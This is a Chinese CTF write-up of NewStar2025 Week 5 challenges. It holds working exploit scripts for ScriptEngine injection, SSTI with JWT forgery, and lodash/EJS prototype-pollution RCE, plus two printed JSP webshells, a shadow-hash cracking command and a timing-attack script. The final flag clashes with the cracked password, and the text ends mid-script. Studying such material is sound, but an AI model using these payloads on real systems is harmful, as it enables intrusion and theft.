NewStar2025 Week5 & 挑战题 Writeup
by 🧑🚀 Madel1ne on 2025/11/07
Web
眼熟的计算器
题目描述:今天又买了个新的计算器,看看又给我整了什么花活。
题目提供了一个在线计算器应用,可以输入数学表达式进行计算。同时给出了三个附件:
app.jar- Java应用程序包Dockerfile- Docker部署文件start.sh- 启动脚本
附件分析
start.sh
echo $ICQ_FLAG > /flag
export ICQ_FLAG=""
java -jar /app/app.jar
关键信息:
- Flag被写入到
/flag文件中 - 环境变量
ICQ_FLAG被清空,无法直接读取 - 目标明确:需要读取
/flag文件内容
Dockerfile
FROM openjdk:8-jre-slim
WORKDIR /app
COPY app.jar ./app.jar
COPY start.sh /root/start.sh
RUN chmod +x /root/start.sh
EXPOSE 9999
CMD ["/bin/sh", "/root/start.sh"]
关键信息:
- 基于 OpenJDK 8
- 应用是Java编写
- 内部端口9999(实际对外端口由Docker映射决定)
源码分析
1. 解压 app.jar
由于jar文件本质是zip格式,解压后得到目录结构:
app_extracted/
├── BOOT-INF/
│ ├── classes/
│ │ ├── application.properties
│ │ ├── org/example/newstar/
│ │ │ ├── controller/
│ │ │ │ └── NewstarController.class
│ │ │ └── NewstarApplication.class
│ │ └── templates/
│ │ ├── error.html
│ │ └── index.html
│ └── lib/ (各种依赖jar包)
└── META-INF/
分析结果:这是一个 Spring Boot 应用
2. 查看配置文件
application.properties:
spring.application.name=newstar
server.port=9999
3. 反编译核心控制器
使用Python脚本分析 NewstarController.class 的常量池,提取关键字符串:
import struct
def read_class_strings(filename):
with open(filename, 'rb') as f:
# 跳过magic number和版本号
magic = f.read(4)
minor = struct.unpack('>H', f.read(2))[0]
major = struct.unpack('>H', f.read(2))[0]
const_pool_count = struct.unpack('>H', f.read(2))[0]
# 遍历常量池提取字符串...
发现的关键字符串:
javax/script/ScriptEngineManager
getEngineByName
javax/script/ScriptEngine
eval
Blacklisted word detected:
import
java.lang.Runtime
new
4. 逆向分析结果
根据常量池信息,可以还原出控制器的核心逻辑:
@Controller
public class NewstarController {
private static final String[] BLACKLIST = {"import", "java.lang.Runtime", "new"};
@GetMapping("/")
public String home(Model model) {
return "index";
}
@GetMapping("/calc")
public String calculate(@RequestParam String content, Model model) throws Exception {
// 黑名单检查
for (String word : BLACKLIST) {
if (content.contains(word)) {
model.addAttribute("result", "Blacklisted word detected: " + word);
return "index";
}
}
// 使用ScriptEngine执行表达式
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
Object result = engine.eval(content);
model.addAttribute("result", result);
return "index";
}
}
漏洞挖掘
漏洞类型:ScriptEngine 代码注入
漏洞原理:
- 应用使用
ScriptEngineManager获取JavaScript引擎(Nashorn) - 直接使用
engine.eval()执行用户输入的内容 - 关键点:Nashorn引擎允许JavaScript代码访问Java类和方法
- 存在黑名单过滤,但可以绕过
黑名单分析
被过滤的关键词:
import- 防止导入恶意包java.lang.Runtime- 防止直接使用Runtime执行命令new- 防止创建对象实例
问题:黑名单防御策略存在明显缺陷,可以使用其他Java API绕过
漏洞利用
1. 测试各种绕过方法
❌ 方法1:直接使用Runtime(被拦截)
java.lang.Runtime.getRuntime().exec('cat /flag')
结果:Blacklisted word detected: java.lang.Runtime
⚠️ 方法2:反射 + 字符串拼接(命令执行成功但无法获取输出)
java.lang.Class.forName('java.la'+'ng.Run'+'time')
.getMethod('getRun'+'time')
.invoke(null)
.exec('cat /flag')
结果:java.lang.UNIXProcess@2b55d239
分析:命令执行了,但返回的是Process对象,无法直接获取输出流
❌ 方法3:使用ProcessBuilder(语法错误)
java.lang.ProcessBuilder(['/bin/sh','-c','cat /flag']).start()
结果:TypeError: java.lang.ProcessBuilder is not a function
❌ 方法4:使用new关键字(被拦截)
new java.util.Scanner(new java.io.File('/flag')).useDelimiter('\\Z').next()
结果:Blacklisted word detected: new
✅ 方法5:使用Java NIO API(成功!)
java.nio.file.Files.readAllLines(java.nio.file.Paths.get('/flag'))
结果:[flag{19add667-77cf-4b2d-b3d6-3b83c5c989b4}]
2. 成功payload分析
为什么这个payload能成功?
-
不触发黑名单
- 不包含
import - 不包含
java.lang.Runtime - 不包含
new关键字
- 不包含
-
使用静态方法链
java.nio.file.Paths.get('/flag')- 静态方法,返回Path对象java.nio.file.Files.readAllLines(Path)- 静态方法,读取所有行- 全程无需使用
new关键字创建对象
-
返回值可显示
readAllLines()返回List<String>- Spring MVC会自动调用
toString()方法 - 结果可以直接在HTML页面中显示
完整攻击脚本
import requests
import urllib.parse
# 目标URL
base_url = "http://8.147.132.32:13440/calc"
def test_payload(payload, description):
print(f"\n[*] Testing: {description}")
print(f"[*] Payload: {payload}")
try:
response = requests.get(base_url, params={"content": payload}, timeout=10)
print(f"[+] Status Code: {response.status_code}")
# 尝试从HTML中提取结果
if "计算结果:" in response.text:
# 简单提取结果
start = response.text.find("计算结果:")
if start != -1:
result_section = response.text[start:start+500]
print(f"[+] Response snippet: {result_section[:200]}")
else:
print(f"[+] Response: {response.text[:500]}")
except Exception as e:
print(f"[-] Error: {str(e)}")
# 测试各种绕过payload
print("="*60)
print("Testing ScriptEngine Injection Payloads")
print("="*60)
# 基础测试
test_payload("1+1", "Basic calculation")
# 尝试直接访问Runtime(可能被黑名单拦截)
test_payload("java.lang.Runtime.getRuntime().exec('cat /flag')", "Direct Runtime (likely blocked)")
# 绕过黑名单的各种方法
# 方法1: 使用反射绕过
payload1 = "java.lang.Class.forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null).exec('cat /flag')"
test_payload(payload1, "Using reflection with string concatenation")
# 方法2: 使用ProcessBuilder
payload2 = "java.lang.ProcessBuilder(['/bin/sh','-c','cat /flag']).start()"
test_payload(payload2, "Using ProcessBuilder")
# 方法3: 使用getClass()
payload3 = "''.getClass().forName('java.la'+'ng.Run'+'time').getMethod('getRun'+'time').invoke(null).exec('cat /flag').getInputStream()"
test_payload(payload3, "Using getClass() and reflection")
# 方法4: 读取文件的另一种方式
payload4 = "java.nio.file.Files.readAllLines(java.nio.file.Paths.get('/flag'))"
test_payload(payload4, "Using Files.readAllLines")
# 方法5: 使用Scanner读取
payload5 = "new java.util.Scanner(new java.io.File('/flag')).useDelimiter('\\\\Z').next()"
test_payload(payload5, "Using Scanner (contains 'new', might be blocked)")
# 方法6: 不使用new,用反射创建Scanner
payload6 = "''.getClass().forName('java.util.Scanner').getConstructor(java.io.File).newInstance(java.io.File('/flag')).useDelimiter('\\\\Z').next()"
test_payload(payload6, "Using reflection to create Scanner")
# 方法7: 直接读取文件内容(不使用new)
payload7 = "java.nio.file.Files.readString(java.nio.file.Paths.get('/flag'))"
test_payload(payload7, "Using Files.readString (Java 11+)")
# 方法8: 使用Runtime字符串拼接
payload8 = "''.getClass().forName('java.la'+'ng.Run'+'time').getMethods()[6].invoke(''.getClass().forName('java.la'+'ng.Run'+'time').getMethods()[15].invoke(null)).getText()"
test_payload(payload8, "Complex reflection payload")
print("\n" + "="*60)
print("Testing complete!")
print("="*60)

废弃的网站
题目描述:废弃的网站就别争了
把附件的代码给claude分析,让他写出解题脚本




完整攻击脚本
#!/usr/bin/env python3
import jwt
import hashlib
import requests
import threading
import time
TARGET_URL = "http://39.106.48.123:13191"
time_started = 1761625471
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()
print("[*] 竞态条件攻击 - 利用 time.sleep(0.15) 窗口")
# 准备两个token
admin_token = jwt.encode({"id": 1, "role": "admin", "name": "Administrator"}, APP_SECRET, algorithm='HS256')
ssti_payloads = [
"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}",
"{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}",
"{{config.__class__.__init__.__globals__['os'].popen('ls -la /').read()}}",
]
results = []
def poison_tempuser(payload):
"""持续污染 tempuser 全局变量"""
poison_token = jwt.encode({"id": 2, "role": "guest", "name": payload}, APP_SECRET, algorithm='HS256')
for _ in range(50): # 持续发送50次
try:
requests.get(f"{TARGET_URL}/", cookies={"session": poison_token}, timeout=2)
except:
pass
time.sleep(0.001) # 1ms间隔
def trigger_admin():
"""触发 admin endpoint"""
time.sleep(0.05) # 等待50ms让污染开始
for i in range(20): # 尝试20次
try:
response = requests.get(
f"{TARGET_URL}/admin",
cookies={"session": admin_token},
timeout=2
)
results.append(response.text)
if "flag" in response.text.lower() or len(response.text) > 50:
print(f"\n[+++] 尝试 #{i+1} - 可能成功!")
print(f"响应长度: {len(response.text)}")
print(f"响应内容: {response.text[:500]}")
except Exception as e:
pass
time.sleep(0.02) # 20ms间隔
# 对每个payload尝试竞态攻击
for idx, payload in enumerate(ssti_payloads, 1):
print(f"\n[*] 测试 Payload #{idx}: {payload[:50]}...")
results = []
# 启动污染线程
poison_thread = threading.Thread(target=poison_tempuser, args=(payload,))
poison_thread.start()
# 启动admin触发线程
admin_thread = threading.Thread(target=trigger_admin)
admin_thread.start()
# 等待完成
poison_thread.join()
admin_thread.join()
# 检查结果
unique_results = set(results)
for result in unique_results:
if result != "Welcome Back, Administrator" and result != "":
print(f"\n[+++] 发现不同的响应:")
print(result)
if "flag{" in result.lower() or "ctf" in result.lower():
print(f"\n{'='*50}")
print(f"[+++] FLAG 找到!")
print(f"{'='*50}")
print(result)
exit(0)
print("\n[*] 竞态攻击完成,未找到flag")
print("[*] 可能需要调整时间窗口或尝试其他方法")

小W和小K的故事(最终章)
小 K 和小 W 一起来到了 NewStar 的 Web 最后一关。
此乃旧时代的落幕,亦将见证诸位 NewStar 的崛起。
【本题环境使用 node:20-alpine 搭建】
漏洞分析
1. 代码审计
通过审计源代码,发现以下关键信息:
1.1 可预测的随机数生成器
// app.js
const random = require('./utils/Random');
const rng = new random(114514); // 固定种子!
let users = {
'admin': {
name: 'admin',
password: rng.getRandomString(16), // 使用伪随机数生成密码
isAdmin: true,
}
}
Random.js 实现了一个线性同余生成器(LCG),使用固定种子 114514,这意味着每次生成的”随机”数都是相同的。
1.2 原型链污染漏洞
// app.js 第 83-86 行
app.post('/addUser', adminAuth, async function(req, res, next) {
lodash.defaultsDeep(users, req.body); // 危险!
res.redirect(302, '/admin');
})
package.json 依赖分析:
{
"lodash": "4.17.11", // 存在原型链污染漏洞 CVE-2019-10744
"ejs": "3.1.6" // 存在 RCE 漏洞,可配合原型链污染利用
}
解题步骤
Step 1: 破解 Admin 密码
由于随机数生成器使用固定种子,可以在本地复现密码生成过程:
// 破解 admin 密码
// 由于使用固定种子,随机数生成是可预测的
class Random {
constructor(seed) {
this.seed = (seed || Date.now()) % 998244353;
}
next() {
this.seed = (this.seed * 48271) % 998244353;
return this.seed;
}
getRandomInt(min, max) {
return min + (this.next() % (max - min));
}
getRandomString(length) {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
let result = "";
for (let i = 0; i < length; i++) {
result += charset.charAt(this.getRandomInt(0, charset.length));
}
return result;
}
}
const rng = new Random(114514);
// 第一次调用 - 生成 session secret (第20行)
const sessionSecret = rng.getRandomString(16);
console.log('Session Secret:', sessionSecret);
// 第二次调用 - 生成 admin 密码 (第29行)
const adminPassword = rng.getRandomString(16);
console.log('Admin Password:', adminPassword);
console.log('\n登录信息:');
console.log('用户名: admin');
console.log('密码:', adminPassword);

获得凭证:
- 用户名:
admin - 密码:
XrfGpmeEFZmz8NDZ
Step 2: 登录管理员账户
使用破解的凭证登录系统,成功访问管理后台 /admin
Step 3: 原型链污染 + EJS RCE
3.1 漏洞原理
Lodash 4.17.11 的 defaultsDeep 函数存在原型链污染漏洞,可以通过特殊构造的 JSON 对象污染 Object.prototype
EJS 3.1.6 在编译模板时会检查 opts.outputFunctionName,如果这个属性被污染,可以注入任意 JavaScript 代码
3.2 成功的 Payload
经过多次尝试,发现使用 constructor.prototype 比 __proto__ 更有效:
{
"constructor": {
"prototype": {
"outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b"
}
}
}
3.3 攻击流程
-
发送原型链污染 Payload
payload = { "constructor": { "prototype": { "outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b" } } } session.post(f"{TARGET_URL}/addUser", json=payload) -
触发 EJS 模板渲染
response = session.get(f"{TARGET_URL}/")
完整攻击脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
改进的原型链污染利用脚本
使用 outputFunctionName 进行 RCE
"""
import requests
import json
import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
TARGET_URL = "https://eci-2zebroc186hwvguqjm84.cloudeci1.ichunqiu.com:3000"
USERNAME = "admin"
PASSWORD = "XrfGpmeEFZmz8NDZ"
print("=" * 70)
print("EJS 原型链污染 RCE 利用 (使用 outputFunctionName)")
print("=" * 70)
session = requests.Session()
session.verify = False
def login():
print("\n[*] 登录...")
response = session.post(
f"{TARGET_URL}/login",
json={"username": USERNAME, "password": PASSWORD},
allow_redirects=False
)
if response.status_code in [200, 302]:
print(f"[+] 登录成功")
return True
return False
def test_basic_pollution():
"""测试基本的原型链污染是否生效"""
print("\n" + "=" * 70)
print("测试 1: 基本原型链污染测试")
print("=" * 70)
payload = {
"__proto__": {
"testProperty": "POLLUTED_VALUE"
}
}
print(f"[*] 发送测试 payload...")
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print(f"[+] Payload 已发送")
def exploit_with_outputFunctionName():
"""使用 outputFunctionName 进行 RCE"""
print("\n" + "=" * 70)
print("测试 2: outputFunctionName RCE")
print("=" * 70)
# Payload: 污染 outputFunctionName
# 这会改变 EJS 生成的函数名,从而注入代码
payload = {
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').exec('cat /flag > /tmp/flagout.txt');x"
}
}
print("[*] Payload:")
print(json.dumps(payload, indent=2))
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print("[+] Payload 已发送")
# 访问页面触发
print("[*] 触发渲染...")
response = session.get(f"{TARGET_URL}/")
print(f"[+] 响应长度: {len(response.text)}")
# 尝试读取输出文件
print("\n[*] 尝试读取命令输出...")
payload2 = {
"__proto__": {
"outputFunctionName": "x;var output=process.mainModule.require('fs').readFileSync('/tmp/flagout.txt','utf8');x"
}
}
session.post(f"{TARGET_URL}/addUser", json=payload2, allow_redirects=False)
response = session.get(f"{TARGET_URL}/")
if "flag{" in response.text.lower():
print("[!] 发现 flag!")
print(response.text)
def exploit_constructor_pollution():
"""通过 constructor.prototype 污染"""
print("\n" + "=" * 70)
print("测试 3: constructor.prototype 污染")
print("=" * 70)
payload = {
"constructor": {
"prototype": {
"outputFunctionName": "a=1;return global.process.mainModule.require('child_process').execSync('cat /flag').toString();var b"
}
}
}
print("[*] Payload:")
print(json.dumps(payload, indent=2))
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print("[+] Payload 已发送")
response = session.get(f"{TARGET_URL}/admin")
print(f"[+] 响应长度: {len(response.text)}")
# 保存完整响应
with open("response_constructor.html", "w", encoding="utf-8") as f:
f.write(response.text)
print("[+] 响应已保存到 response_constructor.html")
def exploit_view_options():
"""污染 view 选项"""
print("\n" + "=" * 70)
print("测试 4: 污染 view 选项")
print("=" * 70)
# 尝试污染模板选项
payload = {
"__proto__": {
"self": 1,
"outputFunctionName": "_output;global.process.mainModule.require('child_process').exec('cat /flag',function(e,out){console.log(out)});var __output"
}
}
print("[*] Payload:")
print(json.dumps(payload, indent=2))
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print("[+] Payload 已发送")
response = session.get(f"{TARGET_URL}/")
print(f"[+] 响应长度: {len(response.text)}")
with open("response_view.html", "w", encoding="utf-8") as f:
f.write(response.text)
print("[+] 响应已保存到 response_view.html")
def exploit_reverse_shell():
"""尝试反弹 shell 或写文件"""
print("\n" + "=" * 70)
print("测试 5: 写文件到 public 目录")
print("=" * 70)
# 写入 flag 到 static 目录
payload = {
"__proto__": {
"outputFunctionName": "x;try{var flag=process.mainModule.require('child_process').execSync('cat /flag').toString();process.mainModule.require('fs').writeFileSync('/app/public/flag.txt',flag);}catch(e){}x"
}
}
print("[*] Payload: 尝试写 flag 到 /app/public/flag.txt")
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print("[+] Payload 已发送")
# 触发
session.get(f"{TARGET_URL}/")
# 尝试读取
print("[*] 尝试访问 /static/flag.txt...")
response = session.get(f"{TARGET_URL}/static/flag.txt")
print(f"[+] 状态码: {response.status_code}")
if response.status_code == 200:
print("[!] FLAG 内容:")
print(response.text)
return True
else:
print("[-] 无法访问")
return False
def exploit_direct_log():
"""直接在控制台输出(检查日志)"""
print("\n" + "=" * 70)
print("测试 6: 将 flag 添加到用户对象中")
print("=" * 70)
# 创建一个用户,密码是 flag
payload = {
"__proto__": {
"outputFunctionName": "x;try{var f=process.mainModule.require('child_process').execSync('cat /flag').toString();global.FLAG_DATA=f;}catch(e){global.FLAG_DATA=e.toString();}x"
}
}
print("[*] Payload: 存储 flag 到全局变量")
session.post(f"{TARGET_URL}/addUser", json=payload, allow_redirects=False)
print("[+] Payload 已发送")
# 触发
session.get(f"{TARGET_URL}/")
# 尝试通过另一个 payload 读取
payload2 = {
"flaguser": {
"name": "FLAG_CONTENT",
"password": "SEE_BELOW",
"isAdmin": False
},
"__proto__": {
"outputFunctionName": "x;try{if(global.FLAG_DATA){console.log('FLAG:',global.FLAG_DATA);}}catch(e){}x"
}
}
session.post(f"{TARGET_URL}/addUser", json=payload2, allow_redirects=False)
response = session.get(f"{TARGET_URL}/admin")
print(f"[+] Admin 页面响应长度: {len(response.text)}")
# 检查用户列表
if "flaguser" in response.text or "FLAG" in response.text:
print("[!] 在响应中发现异常内容:")
# 提取相关部分
lines = response.text.split('\n')
for i, line in enumerate(lines):
if 'FLAG' in line or 'flag' in line.lower():
print(f"行 {i}: {line}")
def main():
if not login():
print("[-] 登录失败")
return
# 依次尝试不同的利用方法
test_basic_pollution()
# 最有可能成功的方法:写文件到 public 目录
if exploit_reverse_shell():
print("\n" + "!" * 70)
print("成功获取 FLAG!")
print("!" * 70)
return
exploit_with_outputFunctionName()
exploit_constructor_pollution()
exploit_view_options()
exploit_direct_log()
print("\n" + "=" * 70)
print("[*] 所有测试完成")
print("[*] 请检查生成的 response_*.html 文件")
print("=" * 70)
if __name__ == "__main__":
try:
main()
except Exception as e:
print(f"\n[-] 错误: {e}")
import traceback
traceback.print_exc()

Misc
区块链-INTbug
题目描述:合约地址:0xB6748b3B308b382E28438cc72872e2D70369D90b
这题问的claude4.5,它给了两种方法


我用的第二种方法



#!/usr/bin/env python3
"""
直接从合约存储读取 flag
不需要发送交易,不需要 Gas!
"""
try:
from web3 import Web3
except ImportError:
print("请先安装依赖: pip install web3")
exit(1)
# Sepolia RPC 节点
RPC_URLS = [
"https://eth-sepolia.g.alchemy.com/v2/demo",
"https://ethereum-sepolia-rpc.publicnode.com",
"https://rpc.sepolia.org",
]
CONTRACT_ADDRESS = "0xB6748b3B308b382E28438cc72872e2D70369D90b"
print("\n" + "=" * 60)
print("直接读取合约存储中的 Flag")
print("=" * 60 + "\n")
# 连接到网络
w3 = None
for rpc_url in RPC_URLS:
try:
test_w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={'timeout': 10}))
if test_w3.is_connected():
w3 = test_w3
print(f"✅ 连接成功: {rpc_url}\n")
break
except:
continue
if not w3:
print("❌ 无法连接到 Sepolia 网络")
exit(1)
print(f"合约地址: {CONTRACT_ADDRESS}\n")
# Solidity 存储布局:
# slot 0: string private flag
# 对于 string 类型,如果长度 < 32 字节:
# - 数据和长度都存在同一个 slot
# - 最后一个字节存储 length * 2
print("[*] 读取存储槽...")
# 读取 slot 0(flag 变量)
slot_0 = w3.eth.get_storage_at(CONTRACT_ADDRESS, 0)
print(f"Slot 0 (原始数据): {slot_0.hex()}")
# 解析字符串
# 检查最后一个字节(长度指示器)
length_byte = slot_0[-1]
if length_byte % 2 == 0:
# 短字符串(< 32 字节)
# 长度 = length_byte / 2
string_length = length_byte // 2
print(f"字符串长度: {string_length} 字节")
# 数据在前面的字节中
flag_bytes = slot_0[:string_length]
flag = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 60)
print("🎉 Flag 找到了!")
print("=" * 60)
print(f"\n{flag}\n")
print("=" * 60)
else:
# 长字符串(>= 32 字节)
# 需要读取额外的存储槽
# slot 0 存储 length * 2 + 1
string_length = (length_byte - 1) // 2
print(f"长字符串,长度: {string_length} 字节")
# 实际数据存储在 keccak256(slot) 开始的位置
import eth_utils
data_slot = int.from_bytes(eth_utils.keccak(slot_0[:32]), 'big')
flag_parts = []
slots_needed = (string_length + 31) // 32
for i in range(slots_needed):
data = w3.eth.get_storage_at(CONTRACT_ADDRESS, data_slot + i)
flag_parts.append(data)
flag_bytes = b''.join(flag_parts)[:string_length]
flag = flag_bytes.decode('utf-8', errors='ignore')
print("\n" + "=" * 60)
print("🎉 Flag 找到了!")
print("=" * 60)
print(f"\n{flag}\n")
print("=" * 60)
print("\n💡 提示: 区块链上没有真正的 'private',所有数据都是公开的!")
print("这就是为什么敏感数据永远不应该存储在智能合约中。\n")

应急响应-把你mikumiku掉-1
城邦为世界第一公主殿下搭建了网站,突然受到了CVE组织的攻击,你能帮城邦对服务器进行排查吗
解压密码:d93e2cb85b2a51ef40e86e4bd6df0b14
账号:newstar 密码:newstar
请问攻击者使用的漏洞编号是?flag{漏洞编号}
cat /opt/tomcat/logs/catalina.out
得到Tomcat版本:Server version name: Apache Tomcat/9.0.98

发现攻击特征

攻击特征:
-
FileStore Session持久化机制
-
路径穿越 ../../../../../
-
可疑的 groovy.session 文件
确认攻击成功,发现webshell mikuu.jsp 正在执行命令

根据以上特征:
-
Tomcat 9.0.98 (2024年12月发布的最新版本)
-
FileStore + 路径穿越 + Session持久化
-
成功上传webshell并执行
→ 符合 CVE-2025-24813 漏洞特征
CVE-2025-24813: Apache Tomcat远程代码执行漏洞,影响版本包括9.0.0.M1至9.0.98,攻击者通过路径穿越控制Session文件加载路径,触发反序列化RCE。
应急响应-把你mikumiku掉-2
题目描述:flag{木马连接密码_恶意用户密码} tips:用户密码是六位特定范围内的字母构成
flag1-木马连接密码
第一步:确定Web服务类型
ps aux | grep -E "apache|nginx|httpd"

发现:
-
Apache Tomcat 运行在PID 992
-
路径:/opt/tomcat
第二步:分析Web日志
ls -la /opt/tomcat/logs/
cat /opt/tomcat/logs/localhost_access_log.2025-10-17.txt

关键发现:
PUT /xxxxx/session HTTP/1.1 409
GET / HTTP/1.1 500
-
大量PUT请求上传session文件
-
GET请求触发反序列化错误
第三步:查看错误日志
cat /opt/tomcat/logs/catalina.2025-10-17.log
可以看到日志里有大量的Java反序列化攻击痕迹

分析:
-
✅ Tomcat Session反序列化漏洞
-
✅ 使用 Commons Collections gadget链
第四步:查找Webshell
ls -la /opt/tomcat/webapps/ROOT/

发现可疑文件:
-
miku.jsp (2025-10-17 04:53)
-
mikuu.jsp (2025-10-17 05:05)
查看这两个可疑文件
cat /opt/tomcat/webapps/ROOT/miku.jsp
cat /opt/tomcat/webapps/ROOT/mikuu.jsp
miku.jsp:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }
mikuu.jsp:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("miiikuuu"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
拿去给GPT分析看看


得到两个木马连接密码,但是不确定是哪个,继续看日志分析
第五步:确认使用的Webshell
cat /opt/tomcat/logs/localhost_access_log.2025-10-17.txt | grep "miku"

访问记录:
GET/POST /miku.jsp HTTP/1.1 500 ❌失败
GET/POST /mikuu.jsp HTTP/1.1 200 ✅成功
结论:
-
攻击者使用的是
mikuu.jsp -
木马连接密码 =
miiikuuu
flag2-恶意用户密码
第一步:查询用户
cat /etc/passwd
发现有一个叫mikuu的可疑用户

第二步:破解用户密码
cat /etc/shadow | grep mikuu
得到:
mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8
拿去给claude4.5分析
密码特征:
-
题目提示:6位特定范围字母
-
Hash类型:yescrypt (现代Linux)

# 提取hash文件
echo 'mikuu:$y$j9T$gCRCetfmd6EZeGuAZkRfn0$uZ/dNiHtjvkJDNfwMoGkJYiOkVV4UW4K0uzNr5FBeO8' > mikuu_hash.txt
# 破解
john --format=crypt mikuu_hash.txt --mask='[mikuaeo][mikuaeo][mikuaeo][mikuaeo][mikuaeo][mikuaeo]'

得到:mikuuu,最后把flag结合起来得到最终flag:flag{miiikuuu_miiiku}
应急响应-把你mikumiku掉-3
题目描述:被加密文件里面的内容是什么?
用取证大师加载题目镜像,在/home/mikuu/目录可以找到一个flag.miku和mikumikud,右键导出

用IDA打开mikumikud,直接把mikumikud的main函数伪代码给AI分析逻辑


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AES-CBC 解密脚本
用于解密 flag.miku 文件
"""
from Crypto.Cipher import AES
import struct
# 从代码中提取的密钥和IV(小端序)
key_part1 = 0xF0DEBC9A78563412
key_part2 = 0x8877665544332211
iv_part1 = 0xEF40511401811919
iv_part2 = 0x1032547698BADCFE
# 转换为字节(小端序)
key = struct.pack('<QQ', key_part1, key_part2)
iv = struct.pack('<QQ', iv_part1, iv_part2)
print(f"AES密钥 (hex): {key.hex()}")
print(f"IV (hex): {iv.hex()}")
# 读取加密文件
with open('flag.miku', 'rb') as f:
encrypted_data = f.read()
print(f"\n加密文件大小: {len(encrypted_data)} 字节")
# 前16字节是IV(虽然代码写入了,但实际使用的是硬编码的IV)
file_iv = encrypted_data[:16]
ciphertext = encrypted_data[16:]
print(f"文件中的IV (hex): {file_iv.hex()}")
print(f"密文大小: {len(ciphertext)} 字节")
# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密
plaintext = cipher.decrypt(ciphertext)
# 去除PKCS7填充
padding_length = plaintext[-1]
if padding_length <= 16:
# 验证填充是否正确
if all(b == padding_length for b in plaintext[-padding_length:]):
plaintext = plaintext[:-padding_length]
print(f"\n解密后的内容:\n{plaintext.decode('utf-8', errors='ignore')}")
# 保存解密后的文件
with open('flag_decrypted.txt', 'wb') as f:
f.write(plaintext)
print(f"\n已保存到 flag_decrypted.txt")

TIME HACKER
题目描述:我所害怕的,只有时间
Password_checker.exe
题目给了flag.zip和Password_checker.exe,用010editor打开flag.zip,在底部可以看到一段埃特巴什密文

解码获得提示:the password is ten digits,密码是十位数字

用十位数字爆破flag.zip非常不现实,至少要几十天的时间,所以去看看Password_checker.exe,打开后发现是判断输入的内容是否为正确的密码

根据题目名字和描述,尝试使用时间侧信道攻击
import subprocess
import time
import statistics
def test_password(pwd, runs=3):
"""测试密码并返回平均执行时间"""
times = []
for _ in range(runs):
start = time.perf_counter()
try:
result = subprocess.run(
['password_checker.exe'],
input=pwd + '\n',
capture_output=True,
text=True,
timeout=15
)
end = time.perf_counter()
times.append(end - start)
output = result.stdout
except subprocess.TimeoutExpired:
return -1, "Timeout"
avg_time = statistics.mean(times)
return avg_time, output
def timing_attack():
"""使用时间侧信道攻击逐位爆破密码"""
password = ""
for position in range(10):
print(f"\n=== Cracking position {position + 1}/10 ===")
best_digit = None
max_time = 0
results = []
for digit in range(10):
test_pwd = password + str(digit) + "0" * (9 - position)
avg_time, output = test_password(test_pwd, runs=5)
results.append((digit, avg_time))
print(f"Testing {test_pwd}: {avg_time:.6f}s")
if avg_time > max_time:
max_time = avg_time
best_digit = digit
# 显示结果
results.sort(key=lambda x: x[1], reverse=True)
print(f"\nTop 3 candidates:")
for i, (digit, t) in enumerate(results[:3]):
print(f" {i + 1}. Digit {digit}: {t:.6f}s")
password += str(best_digit)
print(f"Current password: {password}")
print(f"\n=== Final password: {password} ===")
# 验证最终密码
print("\nVerifying final password...")
_, output = test_password(password, runs=1)
print(f"Output: {output}")
return password
if __name__ == "__main__":
result = timing_attack()
运行后要等待15分钟左右,结束后获得密码:2145768093,password_checker.exe也提示密码正确

flag.zip
用密码2145768093解压出36张图片,用exiftool查看其中一张,发现时间是2037-12-30 00:00:03

写一个脚本查看每张图片的时间戳和exif信息
import pyzipper
import datetime
from PIL import Image
from PIL.ExifTags import TAGS
from io import BytesIO
zip_file = 'flag.zip'
zip_password = b'2145768093'
def get_exif_time_from_bytes(img_bytes):
try:
img = Image.open(BytesIO(img_bytes))
exif_data = img._getexif()
if not exif_data:
return "无EXIF"
exif = {TAGS.get(tag, tag): value for tag, value in exif_data.items()}
for key in ["DateTimeOriginal", "DateTime", "ModifyDate"]:
if key in exif:
return exif[key]
return "无EXIF"
